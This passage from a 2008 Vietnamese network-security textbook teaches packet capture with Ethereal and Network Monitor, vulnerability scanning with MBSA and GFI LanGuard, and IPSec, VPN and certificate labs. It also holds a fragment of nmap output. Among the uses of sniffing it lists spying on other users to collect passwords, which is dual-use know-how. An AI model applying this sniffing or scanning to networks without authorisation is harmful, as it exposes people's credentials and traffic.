TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: OS: Windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.00 local.gateway (10.1.0.100)
2 172.00 adsl.hnpt.com.vn (203.210.152.1)
3 47.00 203.210.148.5
4 47.00 203.210.148.1
5 31.00 localhost (123.30.63.25)
6 31.00 localhost (123.30.63.54)
7 31.00 218.100.10.7
8 31.00 210.245.87.122
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
171
CHƯƠNG 3. PHÂN TÍCH DỮ LIỆU MẠNG
Đối với một nhà quản trị hệ thống, thao tác bắt gói tin lưu thông trên mạng từ đó
đưa ra những thống kê, phân tích về hệ thống là vô cung cần thiết. Thông qua việc
phân tích gói tin lưu thông trên mạng, người quản trị có thể:
Phân tích các vấn đề của mạng.
Phát hiện các cố gắng xâm nhập mạng.
Thu thập thông tin để tăng hiệu quả hoạt động mạng.
Theo dõi sử dụng mạng.
Thu thập và lập báo cáo thống kê mạng.
Lọc các nội dung đáng ngờ ra khỏi giao thông mạng.
Do thám những người sử dụng mạng khác và thu thập thông tin nhạy cảm,
chẳng hạn: mật khẩu (tuy theo các phương pháp mã hóa nội dụng có thể
được sử dụng)
Các giao thức truyền thông được sử dụng trên mạng.
Tìm lỗi các giao tiếp khách/chủ.
.v.v.
Có rất nhiều công cụ giúp cho người quản trị thực hiện được công việc này một
cách khá dễ dàng, chúng được gọi chung với tên gọi “chương trình nghe trộm gói
tin” (packet sniffer) hay “chương trình phân tích mạng”. Đó là những phần mềm
máy tính có khả năng chặn và ghi lại giao thông trên mạng. Khi các dòng dữ liệu
được truyền trong mạng, chương trình nghe trộm bắt lấy từng gói tin rồi giải mã và
phân tích nội dung của nó theo RFC hoặc các đặc tả thích hợp khác. Tuy theo cấu
trúc mạng (hub hay switch), người ta có thể nghe trộm tất cả hoặc chỉ một phần
của giao thông dữ liệu từ một máy trong mạng. Đối với các mục đích theo dõi
mạng (network monitoring), người ta có thể muốn theo dõi tất cả các gói tin trong
một mạng LAN bằng cách sử dụng một thiết bị switch với tính năng mirrowing (nó
lặp lại tất cả các gói tin đi qua tất cả các cổng của thiết bị chuyển mạch).
1. Phần mềm Ethereal
Ethereal là một phần mềm mã nguồn mở miễn phí. Đây là một công cụ hết sức phổ
biến được cả những nhà quản trị mạng và hacker sử dụng. Khả năng hỗ trợ nhiều
dòng hệ điều hành cũng như tốc độ bắt và lọc gói tin giúp Ethereal trở thành một
trong những phần mềm phân tích dữ liệu mạng mạnh nhất hiện nay. Ngoài ra,
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
172
Ethereal sử dụng một thư viện tập hợp đầy đủ các giao thức, điều này giúp cho
Ethereal dễ dàng phân tích và hiển thị thông tin chi tiết về từng nội dung gói tin.
Sử dụng Ethereal để bắt và phân tích các gói tin lưu thông trên mạng:
Bước 1. Chọn cổng mạng để bắt gói tin
Khởi động chương trình Ethereal, xác định cổng mạng dung để bắt gói tin.
Sau khi nhấn Capture, Ethereal sẽ tiến hành bắt các gói tin đi qua cổng mạng đã
chọn.
Bước 2. Nhấn Stop để dừng quá trình bắt gói tin.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
173
Bước 3. Phân tích dữ liệu thu được
Mặc định, Ethereal sẽ bắt tất cả các gói tin đi qua cổng mạng đã họn và hiển thị
theo thứ tự bắt được. Tuy nhiên, Ethereal cung cấp cho chúng ta tiện ích Filter, cho
phép chúng ta tuy biến hiển thị thông tin.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
174
Ví dụ1: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225, ta sử dụng tham số ip.src == 10.1.3.225
Ví dụ 2: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225 và truy cập tới cổng
80, ta sử dụng tham số: ip.src == 10.1.3.225 && tcp.dstport == 80
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
175
Ví dụ 3: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225 và có cổng đích
khác 80, ta sử dụng tham số: ip.src == 10.1.3.225 && tcp.dstport != 80
Ví dụ 4: Hiển thị một phiên kết nối TCP từ máy tính 10.1.3.225 đến trang web
icon.evn.com.vn. Click chuột phải vào một gói tin TCP có địa chỉ nguồn là
10.1.3.225 và địa chỉ đích là Icon.evn.com.vn (203.190.160.227), chọn Follow
TCP Stream:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
176
Kết quả thu được cho ta thấy rõ quá trình bắt tay bắt tay 3 bước TCP như thế nào
cũng như quá trình máy tính trao đổi thông tin HTTP với máy chủ web
Icon.evn.com.vn:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
177
Sử dụng công cụ Capture Filter để bắt các gói tin xác định:
Trong một số trường hợp, ta không cần thiết phải bắt tất cả các gói tin lưu thông
trên mạng, công cụ Capture Filter cho phép ta thực hiện được việc này.
Vào menu Capture, chọn Options (phím tắt Ctrl + K). Chọn cổng mạng dung để
bắt gói tin.
Giả sử ta chỉ muốn bắt các gói tin TCP đi đến hoặc xuất phát từ máy tính có địa chỉ
10.1.3.225, trong mục Capture Filters gõ tham số : host 10.1.3.225 :
Sau khi thực hiện bắt gói tin và phân tích lưu thông mạng, chúng ta có thể lưu lại
kết quả hoặc xuất thông tin ra các định dạng khác nhau để tiện theo dõi, thống kê.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
178
2. Microsoft Network Monitor
Network Monitor có thể được coi là một công cụ miễn phí bởi vì nó được tích hợp
sẵn trong sản phẩm Microsoft Windows Server 2003. Có hai phiên bản khác nhau
của Network Monitor; phiên bản Basic và phiên bản đầy đủ. Phiên bản Basic có
trong Windows Server 2003, còn phiên bản đầy đủ được dành cho SMS Server. Cả
hai phiên bản đều cho phép phân tích được lưu lượng mạng, tuy nhiên vẫn có một
số sự khác nhau giữa hai phiên bản. Sự khác nhau lớn nhất là phiên bản Basic chỉ
có khả năng phân tích được lưu lượng gửi đi hoặc đến từ máy tính đang sử dụng
Network Monitor, trong khi đó phiên bản đầy đủ có thể phân tích tất cả các luồng
lưu lượng trên cả đoạn mạng.
Trong nội dung này, chúng ta sẽ cùng tìm hiểu cách cài đặt và sử dụng Network
Monitor.
Sử dụng Network Monitor để phân tích gói tin
Bước 1. Cài đặt Network Monitor trên máy tính chạy Windows Server 2003
Để cài đặt Network Monitor, chúng ta cần đĩa cài đặt Windows Server 2003. Sau
khi cho đĩa cài Windows Server 2003 vào ổ đĩa, chúng ta vào Start – Control
Panel – Add/Remove Programs – Add/ Remove Windows Components.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
179
Tìm đến phần Management and Monitoring Tools, chọn Details (không tích vào
hộp chọn).
Tích vào hộp chọn Network Monitor Tools và nhấn OK – Next - Finish để hoàn
thành cài đặt.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
180
Bước 2. Sử dụng Network Monitor để bắt gói tin
Sau khi cài đặt, Network Monitor xuất hiện trong phần Adminstrative Tools.
Cũng như Ethereal, Network Monitor cho phép bạn lọc các giao thức cần bắt cũng
như hiển thị theo từng giao thức.
Việc sử dụng Network Monitor khá đơn giản khi bạn đã làm quen với Ethereal.
Sau khi chọn cổng mạng dung để bắt gói tin, bạn nhấn biểu tượng ► để bắt đầu
quá trình bắt gói tin.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
181
Để kết thúc quá trình bắt gói tin và xem kết quả thu được, bạn chọn biểu tượng
hình gọng kính (Stop and View Capture)
Muốn tuy chọn hiển thị, ta có thể vào mục Display – Filter trên thanh công cụ hoặc
nhấn phím tắt F8. Giả sử ở đây ta chỉ muốn hiển thị các gói tin ICMP xuất phát từ
Localhost:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
182
Và đây là kết quả thu được:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
183
CHƯƠNG 4. QUÉT LỖ HỔNG MÁY TÍNH
Theo thống kế của trung tâm an ninh mạng BKIS trung bình một tháng xuất hiện
thêm 400 lỗi trong các phần mềm thường dung. 20% trong số đó là các lỗi nghiêm
trọng, có thể khiến hệ thống bị kiểm soát. Và mức độ nguy hiểm của các lỗ hổng
này còn ở thái độ của người dung, đa số người dung thường xuyên không có thói
quen cập nhật phần mềm, bản vá lỗi…
Thực tế, có rất nhiều công cụ cho phép phát hiện lỗ hổng trên máy tính, từ các
phần mềm dung cho riêng từng máy đến các phần mềm có thể quét qua mạng. Ở
đây, chúng ta tìm hiểu 2 trong số các phần mềm như vậy.
1. Microsoft Baseline Security Analyzer
MBSA là công cụ được thiết kế cho các quản trị mạng trong môi trường hệ thống
vừa và nhỏ. Nó giúp họ có thể dễ dàng đánh giá được tình trạng bảo mật của hệ
thống cũng như có được các hướng dẫn tăng cường bảo mật từ Microsoft. MBSA
hoạt động trên môi trường mạng Windows, tương thích với tất cả các sản phẩm của
Microsoft và có khả năng phát hiện lỗ hổng trong hệ thống (password yếu, chưa
cập nhật bản vá, shared folder…).
MBSA có thể được download tại địa chỉ :
http://www.microsoft.com/technet/security/tools/mbsahome.mspx
Để quét lỗ hổng trên một máy tính, ta tiến hành làm như sau:
Bước 1. Khởi động MBSA, chọn Scan a computer
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
184
Bước 2. Xác định máy tính cần kiểm tra
Có thể xác định theo tên máy hoặc theo địa chỉ IP của máy đó.
Nên để các lựa chọn mặc định để có thể rà soát được nhiều lỗ hổng khác nhau.
Sau khi lựa chọn xong, chọn Start scan
Bước 3. Kiểm tra kết quả
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
185
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
186
Bước 4. Thực hiện sửa lỗi, tăng cường bảo mật
Trong trường hợp này, máy tính thử nghiệm có 2 lỗ hổng nghiêm trọng được phát
hiện là lỗi về Windows Security Updates và IE Enhanced Security
Configuration for Adminstrators.
Chúng ta nhấn vào liên kết How to correct this để có được những biện pháp bảo
mật phu hợp.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
187
MBSA cũng cho phép người quản trị kiểm tra cung lúc nhiều máy tính trong hệ
thống với điều kiện người quản trị phải đăng nhập với tài khoản đủ quyền.
Ngoài ra, khi thực hiện quét lỗ hổng trên một hay nhiều máy đều có những yêu cầu
về hệ điều hành, phiên bản IE, IIS, XML và một số dịch vụ khác. Chi tiết có thể
tìm hiểu ở mục Microsoft Baseline Security Analyzer Help.
2. GFI LanGuard Network Security Scanner
GFI LanGuard Network Security Scanner (N.S.S) là một giải pháp quản lý lỗ hổng
hệ thống toàn diện. N.S.S cung cấp 3 tính năng rất mạnh để quản lý hệ thống đó là:
- Dò tìm điểm yếu (Vulnerable Scanning)
- Quản lý bản vá lỗi (Patch Management)
- Giám sát hệ thống (Network Auditing)
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
188
N.S.S hoạt động trên nhiều hệ điều hành khác nhau (Windows, Mac OS, Linux).
Để sử dụng N.S.S dò quét lỗ hổng trên một hay nhiều máy tính, ta làm như
sau:
Bước 1: Xác định máy tính cần quét:
Trong File – New Scan, chọn một hoặc nhiều máy tính cần quét. Ở đây, chúng ta
chọn quét trên máy tính có địa chỉ 192.168.1.100, nhấn Finish.
Bước 2: Phân tích kết quả nhận được:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
189
Dựa vào kết quả nhận được, chúng ta có thể có rất nhiều thông tin về máy tính này.
Đó là tên máy tính, địa chỉ MAC, máy tính thuộc domain hay workgroup, các
shared folder và phân quyền trên chúng, các nhóm người dung có trên máy tính,
các phiên đang kết nối, thông tin về card mạng, ổ đĩa, ngày giờ hệ thống, chính
sách mật khẩu và các thông tin quan trọng từ Registry như System Root, Memory,
Display, Sound Card…
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
190
Các bản vá lỗi đã được cập nhật trên máy tính, các chính sách về kiểm soát thống
kê:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
191
Thông tin về các cổng dịch vụ đang mở trên máy tính:
Cảnh báo về những điểm yếu, các lỗ hổng chưa được cập nhật từ các ứng dụng, hệ
điều hành trên máy tính và hướng dẫn cách vá lỗi hoặc cấu hình để tăng cường bảo
mật.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
192
Bước 3: Cập nhật các bản vá lỗi, cấu hình tăng cường bảo mật
Để cập nhật các bản vá lỗi cho máy tính, người quản trị có thể thao tác ngay trên
giao diện N.S.S mà không gây bất kì ảnh hưởng nào đối với người dung bằng cách
click chuột phải vào biểu tượng máy tính đó và chọn Deploy Patches on this
computer. Người quản trị có thể tuy chọn một số thông số như khởi động lại máy
sau khi cập nhật bản vá, tạo log file… trước khi nhấn Start để bắt đầu.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
193
Đối với những điểm yếu trên máy tính, người quản trị có thể tham khảo những
khuyến nghị của N.S.S để cấu hình tăng cường bảo mật như đổi tên administrator,
tắt các chia se mặc định C$, D$, ADMIN$...
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
194
Ngoài ra, N.S.S còn cung cấp các một số tính năng hữu dụng khác như tạo báo cáo,
whois, traceroute, điểm danh máy tính, kiểm tra máy chủ MS SQL…
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
195
PHẦN 6
CASE-STUDY
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
196
Case-Study 1
Chính sách an ninh mạng của Tổ chức không cho phép người dung từ bên
ngoài truy cập tới Email Server sử dụng các giao thức POP3, SMTP, IMAP.
Tuy nhiên, một số nhân viên kinh doanh thường xuyên phải làm việc với đối
tác ngoài công ty và họ có nhu cầu làm việc với các phần mềm Email Client.
Hãy cấu hình trên tường lửa ISA cho phép người dung từ xa kết nối VPN
vào hệ thống để làm việc.
Mô hình bài thực hành như sau:
► Video tham khảo
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
197
Case-study 2
Hãy cấu hình IPSec để mã hóa đường truyền giữa Server và máy tính của
User A.
Dung các phần mềm nghe lén trên máy tính Hacker để kiểm tra sự thay đổi
trước và sau khi sử dụng IPSec
Mô hình bài thực hành như sau:
► Video tham khảo
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
198
Case-Study 3
Email Server của EXAM.COM.VN hiện tại chưa được cấu hình để sử dụng
HTTPS (HTTP over SSL).
Hãy dựng một máy tính đóng vai trò Stand-Alone CA, cấp phát certificate
cho các máy tính trong hệ thống.
Thực hiện việc xin cấp certificate trên máy Email Server.
Cấu hình SSL trên máy Email Server sử dụng Certificate được cấp.
Kiểm tra cấu hình bằng cách truy cập Https://exam.com.vn/exchange trên
máy Client.
Mô hình bài thực hành như sau:
► Video tham khảo
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
199
Case-Study 4
Hãy dựng một máy tính đóng vai trò Stand-Alone CA, cấp phát certificate
cho các máy tính trong hệ thống.
Thực hiện việc xin cấp certificate trên máy người dung.
Cấu hình các phần mềm Email Client trên máy người dung sử dụng chữ ký
điện tử và chức năng mã hóa email.
Kiểm tra tính an toàn bằng cách thử dung một máy tính thứ 3 đọc trộm email
đã được mã hóa.
Mô hình bài thực hành như sau:
► Video tham khảo
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
200
PHẦN 7
TÀI LIỆU THAM KHẢO
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
201
1. Syngress – Security+ Study Guide.
2. Cisco Press – IPSec Virtual Private Network Fundamentals.
3. Cisco Press – ICND, Vol 1 and 2.
4. TCP/IP Illustrated, Vol 1.
5. O’Reilly – Virtual Private Networks.
6. http:// openssh.com
7. http://SecurityFocus.com
6. http://pgp.com
7. Các phương pháp lọc và phòng chống Spam – Trần Đình Thi
8. http://hvaonline.net
9. http://Acunetix.com
10. http://wikipedia.org
11. http://Nmap.org
12. http://metasploit.com/
13. http://quantrimang.com
14. http://vnsecurity.com
15. http://vietshield.com
16. http://nis.com.vn
17. http://nstalker.net
18. http://technet.microsoft.com